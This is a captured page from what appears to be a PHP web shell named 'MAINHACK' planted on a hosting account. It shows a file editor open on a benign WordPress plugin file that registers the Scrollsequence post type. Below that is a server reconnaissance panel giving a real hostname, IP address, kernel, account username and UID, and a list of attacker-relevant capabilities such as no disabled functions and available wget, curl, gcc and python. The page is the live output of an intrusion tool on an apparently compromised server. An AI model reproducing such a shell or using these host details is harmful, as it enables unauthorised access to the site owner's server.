[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: create-cpt.php
<?php /** * This adds the Scrollsequence CPT * * * */ $cap_type = 'post'; $plural = 'Scrollsequence'; $single = 'Scrollsequence'; $cpt_name = 'scrollsequence'; $opts['can_export'] = TRUE; $opts['capability_type'] = $cap_type; $opts['description'] = ''; $opts['exclude_from_search'] = FALSE; $opts['has_archive'] = FALSE; $opts['hierarchical'] = FALSE; $opts['map_meta_cap'] = TRUE; //$opts['menu_icon'] = 'dashicons-format-gallery'; $opts['menu_icon'] = 'data:image/svg+xml;base64,' . base64_encode('<svg width="20" height="20" viewBox="-150 -150 1300 1300" xmlns="http://www.w3.org/2000/svg"> <polyline points="162,322 500,500 340,575 0,400 162,322" style="fill:rgb(124,173,62);stroke:rgb(124,173,62);stroke-width:5;" /> <polyline points="500,500 500,650 340,575" style="fill:rgb(74,108,47);stroke:rgb(74,108,47);stroke-width:5;"/> <polyline points="845,675 500,500, 650,425 1000,600 845,675" style="fill:rgb(124,173,62);stroke:rgb(124,173,62);stroke-width:5;" /> <polyline points="500,500, 500,350 650,425" style="fill:rgb(74,108,47);stroke:rgb(74,108,47);stroke-width:5; "/> <polyline points="500,0 1000,250, 1000,400 500,150 0,400 0,250 500,0" style="fill:rgb(207,223,218);stroke:rgb(207,223,218);stroke-width:5;"/> <polyline points="0,600 500,850 1000,600 1000,750 500,1000 0,750 0,600" style="fill:rgb(207,223,218);stroke:rgb(207,223,218);stroke-width:5;"/> </svg>'); $opts['menu_position'] = 25; $opts['public'] = TRUE; $opts['publicly_querable'] = TRUE; $opts['query_var'] = TRUE; $opts['register_meta_box_cb'] = ''; $opts['rewrite'] = array('slug' => 'scrollsequence','with_front' => false); //Ak mod Aktodo $opts['show_in_admin_bar'] = TRUE; $opts['show_in_menu'] = TRUE; $opts['show_in_nav_menu'] = TRUE; // Akmod: Line below turns on gutenberg editor. // (When activated "Scrollsequence_Group" context need to change to "normal" for it to be displayed) //$opts['show_in_rest'] = TRUE; // When line below is active, and page is saved without title => save does not happen $opts['supports'] = array('title','editor','excerpt','thumbnail','post-formats', 'revisions'); // Ak mod gutenberg $opts['labels']['add_new'] = esc_html__( "Add New {$single}", 'scrollsequence' ); $opts['labels']['add_new_item'] = esc_html__( "Add New {$single}", 'scrollsequence' ); $opts['labels']['all_items'] = esc_html__( $plural, 'scrollsequence' ); $opts['labels']['edit_item'] = esc_html__( "Edit {$single}" , 'scrollsequence' ); $opts['labels']['menu_name'] = esc_html__( $plural, 'scrollsequence' ); $opts['labels']['name'] = esc_html__( $plural, 'scrollsequence' ); $opts['labels']['name_admin_bar'] = esc_html__( $single, 'scrollsequence' ); $opts['labels']['new_item'] = esc_html__( "New {$single}", 'scrollsequence' ); $opts['labels']['not_found'] = esc_html__( "No {$plural} Found", 'scrollsequence' ); $opts['labels']['not_found_in_trash'] = esc_html__( "No {$plural} Found in Trash", 'scrollsequence' ); $opts['labels']['parent_item_colon'] = esc_html__( "Parent {$plural} :", 'scrollsequence' ); $opts['labels']['search_items'] = esc_html__( "Search {$plural}", 'scrollsequence' ); $opts['labels']['singular_name'] = esc_html__( $single, 'scrollsequence' ); $opts['labels']['view_item'] = esc_html__( "View {$single}", 'scrollsequence' ); register_post_type( strtolower( $cpt_name ), $opts ); // When line below is active, and page is saved without title => save does not happen //add_post_type_support($cpt_name, array('excerpt','revisons','thumbnail')); //remove_post_type_support( $cpt_name, 'editor'); // THIS REMOVES THE DEFAULT WYSIWIG EDITOR
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium707.web-hosting.com
Server IP: 198.177.120.115
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium707.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.4 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: urbaoubp
User ID (UID): 1252
Group ID (GID): 1257
Script Owner UID: 1252
Current Dir Owner: 1252